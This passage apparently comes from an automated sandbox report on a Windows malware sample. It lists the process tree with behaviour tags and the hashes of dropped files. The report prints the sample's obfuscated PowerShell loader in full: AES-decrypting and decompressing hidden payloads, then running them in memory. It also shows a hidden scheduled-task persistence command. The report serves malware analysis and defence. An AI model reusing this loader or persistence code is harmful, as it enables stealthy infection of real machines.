break; }}$payloads_var=[string[]]$AbfNn.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "3⤵PID:1936
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2988 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_400_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_400.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2888
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_400.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1428 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_400.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:824 -
C:\Windows\system32\net.exenet file6⤵
- Suspicious use of WriteProcessMemory
PID:4344 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file7⤵PID:4708
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a6/Dz0sQgg0AXxVY9QgYlHPhkoWXKtsBNvv5q5mWBz0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XHnjn+k0TpEqrCKjUcNHHQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HpFJb=New-Object System.IO.MemoryStream(,$param_var); $aolNn=New-Object System.IO.MemoryStream; $iXSFF=New-Object System.IO.Compression.GZipStream($HpFJb, [IO.Compression.CompressionMode]::Decompress); $iXSFF.CopyTo($aolNn); $iXSFF.Dispose(); $HpFJb.Dispose(); $aolNn.Dispose(); $aolNn.ToArray();}function execute_function($param_var,$param2_var){ $joNGZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XpYvB=$joNGZ.EntryPoint; $XpYvB.Invoke($null, $param2_var);}$DxRwH = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_400.bat';$host.UI.RawUI.WindowTitle = $DxRwH;$NGRKp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($DxRwH).Split([Environment]::NewLine);foreach ($lDbVo in $NGRKp) { if ($lDbVo.StartsWith('aTooeqEeiEcbowJqPEvQ')) { $AbfNn=$lDbVo.Substring(20); break; }}$payloads_var=[string[]]$AbfNn.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵PID:3012
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4856
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3692
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:3724
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:5100
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:3616
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:3956
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:1748
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:3240
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:4500
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s camsvc1⤵PID:212
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:2884
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
- Checks processor information in registry
PID:1868
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
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Filesize
2KB
MD5005bc2ef5a9d890fb2297be6a36f01c2
SHA10c52adee1316c54b0bfdc510c0963196e7ebb430
SHA256342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
SHA512f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
278KB
MD5c7f70f6597b99690acab02390af9a913
SHA1ec989e5b37d4d9bf56d9b330ed97826313ae3255
SHA256f07d66adf106785f59920963b5c928dfd5a16774ab476f262135bc3c2cd58590
SHA512991f4c36731dea73455da9a81185af01fb54cda915b5632edbc3f2251648745e47fd09b21d6548dcae170b1bfcf470b89f311cefc6733013be23667b31ae036b
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Filesize
124B
MD5ea3e875f8298bf30bfcb9ed559a463ab
SHA1763b868ca45f8a0fd8ebda9206a42100e272cd08
SHA256e662f27be51408c620bcae45b50c0719354e0e25d8d3a004548dace9c97c0273
SHA512f9ffa93083776d8a8f669334e8b2441f3e7cff3d61dc2a67d5126fa66641514a6f4b31e7d8b0a2512793a145deda307daa8b30c0ab47a9cdf983b6aaaca05473
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Filesize
2KB
MD58abf2d6067c6f3191a015f84aa9b6efe
SHA198f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
SHA256ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
SHA512c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63
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Filesize
2KB
MD5f313c5b4f95605026428425586317353
SHA106be66fa06e1cffc54459c38d3d258f46669d01a
SHA256129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
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Filesize
2KB
MD5ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1a3879621f9493414d497ea6d70fbf17e283d5c08
SHA25698c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
SHA5121eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
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Filesize
2KB
MD57d612892b20e70250dbd00d0cdd4f09b
SHA163251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
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Filesize
2KB
MD51e8e2076314d54dd72e7ee09ff8a52ab
SHA15fd0a67671430f66237f483eef39ff599b892272
SHA25655f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
SHA5125b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
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Filesize
2KB
MD50b990e24f1e839462c0ac35fef1d119e
SHA19e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4